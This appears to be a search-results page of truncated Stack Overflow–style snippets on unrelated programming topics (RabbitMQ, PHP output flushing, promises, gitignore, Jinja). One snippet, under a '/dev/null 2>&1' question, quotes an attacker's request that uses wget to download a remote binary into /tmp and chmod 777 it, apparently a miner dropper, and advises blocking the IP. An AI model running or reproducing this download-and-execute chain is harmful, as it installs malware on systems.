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Is it possible to view RabbitMQ message contents directly from the command line?
...eye contact)
Date: Wed, 10 Sep 2014 17:46:59 GMT
content-type: application/json
Content-Length: 15
Cache-Control: no-cache
{"routed":true}
RabbitMQ see messages in queue:
eric@dev ~ $ sudo python rabbitmqadmin get queue=myqueue requeue=true count=10
+-------------+----------+---------------+----...
continue processing php after sending http response
...epted");
header("Status: 202 Accepted");
header("Content-Type: application/json");
header('Content-Length: '.ob_get_length());
ob_end_flush();
ob_flush();
flush();
sleep(10);
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Understanding promises in Node.js
...-chosen code examples.
var twitterUrl = "http://search.twitter.com/search.json?q=windows";
var promise = WinJS.xhr({ url: twitterUrl });
promise = promise.then(
function (xhr) {
},
function (xhr) {
// handle error
});
The treatment of how exceptions are dealt with i...
Check if an array is empty or exists
...use var whenever declaring a variable:
<?php echo "var image_array = ".json_encode($images);?>
// add var ^^^ here
And then make sure you never accidently redeclare that variable later:
else {
...
image_array = []; // no var here
}
...
How to use gitignore command in git
...er.
node_modules
# Build files
dist/
# lock files
yarn.lock
package-lock.json
# Logs
logs
*.log
npm-debug.log*
# node-waf configuration
.lock-wscript
# Optional npm cache directory
.npm
# Optional REPL history
.node_repl_history
# Jest Coverage
coverage
.history/
You can find more on git d...
When would I use XML instead of SQL? [closed]
... them able to respond in a constant time to any request while XML-, Yaml-, JSon- and other text-based data storages are basically text-based, so all queries are performed trough text parsing which has a huge overhead in processor time, and can be performed in unpredicatable amount of time. This only...
What is /dev/null 2>&1?
...cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as ...
What Process is using all of my disk IO
... with entries in /home/spinnaker/.kube/cache/discovery/.../serverresources.json. Once you narrow things down to a user/process name something like iotop -atku systemd-network | grep kubectl may also help
– Greg Bray
Jul 31 at 3:39
...
Count number of lines in a git repository
...cript 2 13 111 309
JSON 3 0 0 58
HTML 2 7 12 50
Handlebars 2 0 0 ...
Convert integer to string Jinja
...lues to integers. Btw, in my case I've got integers as strings coming from JSON content files: "hero_title_img_w": "111" and "hero_title_img2_w": "222". Then I'm adding them in .NJK file: {{ hero_title_img_w|int + hero_title_img2_w|int }} to use as image's width attribute. Hope it helps somebody one...